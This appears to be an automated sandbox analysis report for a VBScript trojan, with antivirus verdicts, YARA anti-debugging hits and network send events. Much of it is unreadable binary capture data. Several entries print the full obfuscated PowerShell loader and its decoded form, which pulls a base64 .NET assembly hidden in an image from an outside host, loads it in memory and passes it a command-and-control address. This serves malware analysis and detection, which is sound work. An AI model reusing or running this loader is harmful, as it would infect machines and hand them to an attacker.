ÊDYö?SôË\|oýYÍk(©i¢¾ðm¤!8{:ýW¶ùìÿî =È6eïé>:mÐ@Û.Õ= xäÄ§§E,g¦Ð#Ìàö½²Êõ£èx§j@BlQó.Í7&¼H¯¦ÝGOD¸mé_ÜönÐGì[ûH¿·}X.ã¬X~ÿPÛóîæðÞØ{7/üå+Õ=Ãzp;½µ3×Ôd<Ãs-¾]2ï9Ì§îØût° o½B»xY_ÖÓv,®,u»t3^Ò×¼LWé&v1uÃãq½¿ææo7Ó½ªÕB8@æZÈiH¨Þ·Zèê³QÚZ Ü£+¢P=¹,Ô0Õ]t<Ø²{÷VÓº¼?#\|ßëOöêáPì¸ 'Yp«R×©¶ð.vFu%?¢·æFÈþêGÇØä/fÈÔ¥¦ì¾6NåO5Y+Ù+ÈèHn¬¼»`û"Æe; X¢="ãlnBºtI3m¼hHÀûYz
Data received	¼ õÞâ²ÉöÍ¾.Û©v)$Ä¡M%U#þÌ1Oå¾Ì¬ö3\|S¼ã}øRãP1ehm¹ä]êø!ÇD÷Ö 8,Ë-!$å§a¦(^M0KtÝxE[µ&§]~.]½Ûó[Áç"}0â¥õ¿öº(ºxxè ¿Û<°»ª´o~Í-°·N<),·o¨cÏ'¦ûóØ)È[á å~Ü¦ËA;Æ¡aôNynT÷tñ²Ð3ýÛ\|z£sß`0PöÄz'ZxfVñhÐè÷(XðXÜöÜ_¼1²Y¹¡Âw^óu\|Yt¦"bÿm§2/Ä7¶ý¾þ¼ê¦Ù?µýé´uà&ÙÌÇ%ÎÎ}?xú=fµÕ++"°ú¡]Ä=â< 0Æøå9Éoíö¡hø·iBº0ÎcÒâs }ÀÛ]-\|Êr%Á1 ªÆ>ê£¿÷ÚÄ{:}å6\Û1èìü}ÎoõùJÈâÆý¥Ö2ýÒÕ®lAGVõ¤ÆcL"EoÑHmïygÝJGÜ¸ØAÁýÀ]À[Ýð=cíd/±ù^a)=¾[æám¯3RsEn§F¾ROMk¯ ^ +±Ï/¡exÅÙèÔ¹d¨æÜN£ósÅN!Û»b·->/Ð½ãá,iþDVJ¥À6¬ìbmtI:ìÍ¨É¾[°I{´j¹>}öHªK ^·8B Ã¬·¬ÏÌ¯byv÷På}OÄê³ÇNIyRT;ÑÊæÓîXàØ¬ÊEP[¢^ùäÓÆmÂZ<S»:ØFÉ $CíÎ9$V÷ì=ñÚýD{a§ ±Ãö×ø#Pv!Ö§aC²9!w¡ÿØXd °RJè¿Â8H!Äö`(e¢qkQ4þX ZÕ\|Â%=yÂU£×à?õ8l9¼UÇëÔa90+½$×ù´ôË'å18<ù ßÔ8YIØ{µA°Û¢Qh4ÿ¹ @¢éøÑc«Évk>d<Á5TboÄEAWo¤än+o¼&J_¥hQbÎCøNUöÇ°~Ë %=x¼ÌË²YGÛvÌÍôb; @é}èÙ7\isU7 5éU.@g)ûdAÑ¶õÔl¡Ý:Î>ÌËFQ¢à.HÚrä¨áA«Wâk¢ÜØÄ°ã)Í©OérÏo½ñïê0ÝÚr¦ÐPSæ#IüUçòø<üèì,tVnË¨piÁè{à-+Czä"ers7zÁÈíX?ÿË24 \|<åái:ÿ{Òò·gê`3Åïxp¥q-ãù¢§ï¦0JÔOîYÀà åÇy"q×·NÞªþçA©îÚWÅärayJÿ_&òôß(±§sñHÔ³`Ôsé÷½©Îæ)c96Tí"L QÔx`%_ÚwÇEêQ$)´¦Ãùxí,)ÊoHÌ75ñà¢¤³ïkCÃþÀ¹ë"{¤_%EGéëîÊßIákdØ*³&ïÎfÎ+Mæ8:oJµq©ØàsK¯20ió\| >¾z»OF#êR·jMQTàþÚÄË=eó¦ëg.
Data received	#BØÏÑ1RãmkC¯+4ÆG¦àÉÚíh~,ªÉÒbâ.zÏx-3S7YC¤ö»ÜfdäÊaÙo ¤æFDZVðH´y~NÞ^òº.=¯Ú"±zêÇA¬Å4-®Vtùi#Ñ]Wö_ðÿLû0/`©HóêíÎkæÈ0µÓ£¬p\|44z)Êæ$JË5£U©Îdï#Æa>éVq{vgµ?Ã?tCt±AxÞ°@ØàO¯=Rbs »U2X¦G?{ïñJ2±ËÅMí¼ÅZ´Ú]ÆDF<â»(1:îz.óªa"ióac´ìÚ¾ØÎ³K]abøñú3®ôÄÿ¿r \|vYi¨0BnÐ«ÖÀHÅ<´;²ü$F¹ê0¹ÃÈeâ<Þè/,þCñÚëa_87ú~»÷ù9ep©ûKD ÿ;ñ ÒMÄÙlIo¢à2ä[,x¡êíú G^÷Mnn¬»Qè^8v·iSò©/Ç=AøKù[$½ÖõØ7"êd¹±ü½%½ì?t³åOV²c¼Ù&rjÜ1¥Î,ã$ÔÀáMÈ>µ4ãSá»$¢zBÍ¸wsõ¨Lð´ÖØô¾Þ«÷º=ú2ÞZA)¿³Æ+RÍÃkcÍîÚòõ3í7ùÈN4E7%¾×¿$É<g) ÙóªV`¨e+·Ê¶Qâ¸ÍÜáóà¯°õa§»¨zÈ"Ró¸P½®Vkõh÷ñ4¯ê D .Eù®Rêkâûaø/EV¨å¶%,LÄì×ÊÎn[l)ìÍ²o¼þ=\|T%F®ä={G¦µÕ<þ¨mé¹haT0Ø©mô/U/eT¶ sÕn`W/õ¢@l5ûäôB rvqT7ªWäs%ò·G%Ûz¦X>æéUª¢lìã¸q6r®ô.IzH=dî¥ÒkÐäBw6j#ùÒùî¹Æ_ÆßñÂ7rf¶ÇmÑªiÁã¹w°ïy[ oE¶º'$t\|3Ìmþ-4ÐÇÜ»ÑÕÞb]S>ê <äZ]eÂ¸sç{#®ÇÔ×\PKáË"ÛeÖ#U§søû@á®+/©+ê"zÌ"ÚØ§t~nÕøùâ£¹yF¥×1ª¤¢ Ë9Ã¦!ÿÊh:&µR6 ¾±XÝ&`ËL³ê¸bþå6pÌ +éàr²eÕÜYíÏFúßH]1)¿É^¯üxF×®fÅòS' 4{ø ®µ@"Óºÿ[«æÊ1î³\ÐkaâÅ};®r@A4ï;Vþ:Eg&×<UpIGèz\|ÀÓ`ÿQê»é¼ÏèüåÊ3 ÞKkSx\|v±ikê´ãµBd×Ô{= ·ô&ÀÓz-k/hcQà>¼ @ú"5 '@ºr¥5¼´´ÓüõR%6ÀbæØ¹®ø+ÌòqÄ²Z¨¯§:â¶\|¼Z·pxÅfå¸ÿ¢scûaî1Üx>ªq+ÛþbAzñH¦å®jV#ð£5XEwvÃb Éf}¥ÁµGvg²{A,·#ÅTZë~k6¬ÈÜM'Ü1Î3m<[ãù*l°

Poweshell is sending data to a remote host (3 events)

Data sent	qme@¾G_PJ] ÖÀÊPÉ<ø\|ûe"·Bþ7/5 ÀÀÀ À 28,ÿimageupload.io
Data sent	FBA°üÓùpåÈvnVæ;¹ u%@ÀOÒø»ÀC×ìVÒ¬LÚØ»)hßRîÎP/öå=òÏ"07/}wÝ8a²&ìõ7¯¬ãY@åF+Úþ7¨pº!"pµ¬2Ð=Ö·Lê½£^Þî
Data sent	ìcÇCÖÛ¦¶kìO_#Ý"_¡zoÑ o ¦¯¸Æ¿ûÓÜ1¹ûL0ÀHcë7k^ìM°©s ôí1#9çK;1u"=Õ¬Rw\| ß`ðl4¹DFÔD0YÏ!¨Ì9ZØqÚP«qëjäâ

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 31, 2023, 5:44 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Oct. 31, 2023, 5:44 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3068 CREDAT:145409

Communicates with host for which no DNS query was performed (1 event)

host

117.18.232.200

File has been identified by 17 AntiVirus engines on VirusTotal as malicious (17 events)

MicroWorld-eScan	VB:Trojan.Valyria.8400
ALYac	VB:Trojan.Valyria.8400
VIPRE	VB:Trojan.Valyria.8400
Symantec	Scr.Malscript!gen11
Avast	Other:Malware-gen [Trj]
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	VB:Trojan.Valyria.8400
NANO-Antivirus	Trojan.Script.Hworm.dmiour
FireEye	VB:Trojan.Valyria.8400
Emsisoft	VB:Trojan.Valyria.8400 (B)
GData	VB:Trojan.Valyria.8400
Google	Detected
MAX	malware (ai score=85)
Arcabit	VB:Trojan.Valyria.D20D0
Rising	Trojan.Agent/VBS!1.EAE0 (CLASSIC)
Ikarus	Trojan.VBS.Agent
AVG	Other:Malware-gen [Trj]

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

iexplore.exe

martian_process

powershell -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€aQBt€€GE€€ZwBl€€HU€€c€€Bs€€G8€€YQBk€€C4€€aQBv€€C8€€aQBi€€C8€€ZQBr€€Fc€€ZwBI€€Fc€€agBQ€€DM€€YQBy€€HY€€VQBx€€Dc€€Xw€€x€€DY€€OQ€€4€€DE€€Ng€€2€€D€€€€OQ€€3€€C4€€agBw€€Gc€€Jw€€7€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€I€€€€9€€C€€€€TgBl€€Hc€€LQBP€€GI€€agBl€€GM€€d€€€€g€€FM€€eQBz€€HQ€€ZQBt€€C4€€TgBl€€HQ€€LgBX€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€7€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€€€k€€Hc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€C4€€R€€Bv€€Hc€€bgBs€€G8€€YQBk€€EQ€€YQB0€€GE€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBV€€HI€€b€€€€p€€Ds€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€V€€Bl€€Hg€€d€€€€u€€EU€€bgBj€€G8€€Z€€Bp€€G4€€ZwBd€€Do€€OgBV€€FQ€€Rg€€4€€C4€€RwBl€€HQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBC€€Hk€€d€€Bl€€HM€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBT€€FQ€€QQBS€€FQ€€Pg€€+€€Cc€€Ow€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBF€€E4€€R€€€€+€€D4€€Jw€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€D0€€I€€€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C4€€SQBu€€GQ€€ZQB4€€E8€€Zg€€o€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€ZQBu€€GQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bl€€G4€€Z€€BG€€Gw€€YQBn€€Ck€€Ow€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€ZQ€€g€€D€€€€I€€€€t€€GE€€bgBk€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€d€€€€g€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€Cs€€PQ€€g€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€LgBM€€GU€€bgBn€€HQ€€a€€€€7€€CQ€€YgBh€€HM€€ZQ€€2€€DQ€€T€€Bl€€G4€€ZwB0€€Gg€€I€€€€9€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBT€€HU€€YgBz€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€s€€C€€€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€p€€Ds€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€QwBv€€G4€€dgBl€€HI€€d€€Bd€€Do€€OgBG€€HI€€bwBt€€EI€€YQBz€€GU€€Ng€€0€€FM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€Ck€€Ow€€k€€Gw€€bwBh€€GQ€€ZQBk€€EE€€cwBz€€GU€€bQBi€€Gw€€eQ€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€UgBl€€GY€€b€€Bl€€GM€€d€€Bp€€G8€€bg€€u€€EE€€cwBz€€GU€€bQBi€€Gw€€eQBd€€Do€€OgBM€€G8€€YQBk€€Cg€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€B0€€Hk€€c€€Bl€€C€€€€PQ€€g€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C4€€RwBl€€HQ€€V€€B5€€H€€€€ZQ€€o€€Cc€€RgBp€€GI€€ZQBy€€C4€€S€€Bv€€G0€€ZQ€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C€€€€PQ€€g€€CQ€€d€€B5€€H€€€€ZQ€€u€€Ec€€ZQB0€€E0€€ZQB0€€Gg€€bwBk€€Cg€€JwBW€€EE€€SQ€€n€€Ck€€LgBJ€€G4€€dgBv€€Gs€€ZQ€€o€€CQ€€bgB1€€Gw€€b€€€€s€€C€€€€WwBv€€GI€€agBl€€GM€€d€€Bb€€F0€€XQ€€g€€Cg€€JwBk€€Eg€€a€€€€w€€Ew€€bQBw€€Ho€€YQBI€€Fo€€bgBh€€Ec€€c€€€€0€€Fk€€agBR€€DI€€WgBY€€E4€€a€€BZ€€G0€€VgB1€€GE€€W€€Bw€€DE€€WQB5€€Dg€€M€€BO€€Ho€€RQB1€€E4€€egBN€€HU€€TgBE€€FU€€eQBM€€Go€€VQ€€0€€E0€€Uw€€4€€HY€€TwBu€€EI€€M€€Bk€€Ec€€Zw€€9€€Cc€€I€€€€s€€C€€€€JwBk€€GY€€Z€€Bm€€GQ€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€YQBk€€HM€€YQ€€n€€C€€€€L€€€€g€€Cc€€Z€€Bl€€Cc€€I€€€€s€€C€€€€JwBj€€HU€€Jw€€p€€Ck€€';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send Oct. 31, 2023, 5:44 p.m.	buffer: qme@¾G_PJ] ÖÀÊPÉ<ø\|ûe"·Bþ7/5 ÀÀÀ À 28,ÿimageupload.io socket: 1280 sent: 118	1	118
send Oct. 31, 2023, 5:44 p.m.	buffer: FBA°üÓùpåÈvnVæ;¹ u%@ÀOÒø»ÀC×ìVÒ¬LÚØ»)hßRîÎP/öå=òÏ"07/}wÝ8a²&ìõ7¯¬ãY@åF+Úþ7¨pº!"pµ¬2Ð=Ö·Lê½£^Þî socket: 1280 sent: 134	1	134
send Oct. 31, 2023, 5:45 p.m.	buffer: ìcÇCÖÛ¦¶kìO_#Ý"_¡zoÑ o ¦¯¸Æ¿ûÓÜ1¹ûL0ÀHcë7k^ìM°©s ôí1#9çK;1u"=Õ¬Rw\| ß`ðl4¹DFÔD0YÏ!¨Ì9ZØqÚP«qëjäâ socket: 1280 sent: 133	1	133

One or more non-whitelisted processes were created (3 events)

parent_process	powershell.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ekWgHWjP3arvUq7_1698166097.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmpzaHZnaGp4YjQ2ZXNhYmVuaXp1Yy80NzEuNzMuNDUyLjU4MS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
parent_process	iexplore.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€aQBt€€GE€€ZwBl€€HU€€c€€Bs€€G8€€YQBk€€C4€€aQBv€€C8€€aQBi€€C8€€ZQBr€€Fc€€ZwBI€€Fc€€agBQ€€DM€€YQBy€€HY€€VQBx€€Dc€€Xw€€x€€DY€€OQ€€4€€DE€€Ng€€2€€D€€€€OQ€€3€€C4€€agBw€€Gc€€Jw€€7€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€I€€€€9€€C€€€€TgBl€€Hc€€LQBP€€GI€€agBl€€GM€€d€€€€g€€FM€€eQBz€€HQ€€ZQBt€€C4€€TgBl€€HQ€€LgBX€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€7€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€€€k€€Hc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€C4€€R€€Bv€€Hc€€bgBs€€G8€€YQBk€€EQ€€YQB0€€GE€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBV€€HI€€b€€€€p€€Ds€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€V€€Bl€€Hg€€d€€€€u€€EU€€bgBj€€G8€€Z€€Bp€€G4€€ZwBd€€Do€€OgBV€€FQ€€Rg€€4€€C4€€RwBl€€HQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBC€€Hk€€d€€Bl€€HM€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBT€€FQ€€QQBS€€FQ€€Pg€€+€€Cc€€Ow€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBF€€E4€€R€€€€+€€D4€€Jw€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€D0€€I€€€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C4€€SQBu€€GQ€€ZQB4€€E8€€Zg€€o€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€ZQBu€€GQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bl€€G4€€Z€€BG€€Gw€€YQBn€€Ck€€Ow€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€ZQ€€g€€D€€€€I€€€€t€€GE€€bgBk€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€d€€€€g€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€Cs€€PQ€€g€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€LgBM€€GU€€bgBn€€HQ€€a€€€€7€€CQ€€YgBh€€HM€€ZQ€€2€€DQ€€T€€Bl€€G4€€ZwB0€€Gg€€I€€€€9€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBT€€HU€€YgBz€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€s€€C€€€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€p€€Ds€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€QwBv€€G4€€dgBl€€HI€€d€€Bd€€Do€€OgBG€€HI€€bwBt€€EI€€YQBz€€GU€€Ng€€0€€FM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€Ck€€Ow€€k€€Gw€€bwBh€€GQ€€ZQBk€€EE€€cwBz€€GU€€bQBi€€Gw€€eQ€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€UgBl€€GY€€b€€Bl€€GM€€d€€Bp€€G8€€bg€€u€€EE€€cwBz€€GU€€bQBi€€Gw€€eQBd€€Do€€OgBM€€G8€€YQBk€€Cg€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€B0€€Hk€€c€€Bl€€C€€€€PQ€€g€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C4€€RwBl€€HQ€€V€€B5€€H€€€€ZQ€€o€€Cc€€RgBp€€GI€€ZQBy€€C4€€S€€Bv€€G0€€ZQ€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C€€€€PQ€€g€€CQ€€d€€B5€€H€€€€ZQ€€u€€Ec€€ZQB0€€E0€€ZQB0€€Gg€€bwBk€€Cg€€JwBW€€EE€€SQ€€n€€Ck€€LgBJ€€G4€€dgBv€€Gs€€ZQ€€o€€CQ€€bgB1€€Gw€€b€€€€s€€C€€€€WwBv€€GI€€agBl€€GM€€d€€Bb€€F0€€XQ€€g€€Cg€€JwBk€€Eg€€a€€€€w€€Ew€€bQBw€€Ho€€YQBI€€Fo€€bgBh€€Ec€€c€€€€0€€Fk€€agBR€€DI€€WgBY€€E4€€a€€BZ€€G0€€VgB1€€GE€€W€€Bw€€DE€€WQB5€€Dg€€M€€BO€€Ho€€RQB1€€E4€€egBN€€HU€€TgBE€€FU€€eQBM€€Go€€VQ€€0€€E0€€Uw€€4€€HY€€TwBu€€EI€€M€€Bk€€Ec€€Zw€€9€€Cc€€I€€€€s€€C€€€€JwBk€€GY€€Z€€Bm€€GQ€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€YQBk€€HM€€YQ€€n€€C€€€€L€€€€g€€Cc€€Z€€Bl€€Cc€€I€€€€s€€C€€€€JwBj€€HU€€Jw€€p€€Ck€€';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process	iexplore.exe	martian_process	powershell -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€aQBt€€GE€€ZwBl€€HU€€c€€Bs€€G8€€YQBk€€C4€€aQBv€€C8€€aQBi€€C8€€ZQBr€€Fc€€ZwBI€€Fc€€agBQ€€DM€€YQBy€€HY€€VQBx€€Dc€€Xw€€x€€DY€€OQ€€4€€DE€€Ng€€2€€D€€€€OQ€€3€€C4€€agBw€€Gc€€Jw€€7€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€I€€€€9€€C€€€€TgBl€€Hc€€LQBP€€GI€€agBl€€GM€€d€€€€g€€FM€€eQBz€€HQ€€ZQBt€€C4€€TgBl€€HQ€€LgBX€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€7€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€€€k€€Hc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€C4€€R€€Bv€€Hc€€bgBs€€G8€€YQBk€€EQ€€YQB0€€GE€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBV€€HI€€b€€€€p€€Ds€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€V€€Bl€€Hg€€d€€€€u€€EU€€bgBj€€G8€€Z€€Bp€€G4€€ZwBd€€Do€€OgBV€€FQ€€Rg€€4€€C4€€RwBl€€HQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€Gk€€bQBh€€Gc€€ZQBC€€Hk€€d€€Bl€€HM€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBT€€FQ€€QQBS€€FQ€€Pg€€+€€Cc€€Ow€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€I€€€€9€€C€€€€Jw€€8€€Dw€€QgBB€€FM€€RQ€€2€€DQ€€XwBF€€E4€€R€€€€+€€D4€€Jw€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€D0€€I€€€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C4€€SQBu€€GQ€€ZQB4€€E8€€Zg€€o€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€ZQBu€€GQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bl€€G4€€Z€€BG€€Gw€€YQBn€€Ck€€Ow€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€ZQ€€g€€D€€€€I€€€€t€€GE€€bgBk€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€Gc€€d€€€€g€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€Cs€€PQ€€g€€CQ€€cwB0€€GE€€cgB0€€EY€€b€€Bh€€Gc€€LgBM€€GU€€bgBn€€HQ€€a€€€€7€€CQ€€YgBh€€HM€€ZQ€€2€€DQ€€T€€Bl€€G4€€ZwB0€€Gg€€I€€€€9€€C€€€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€t€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€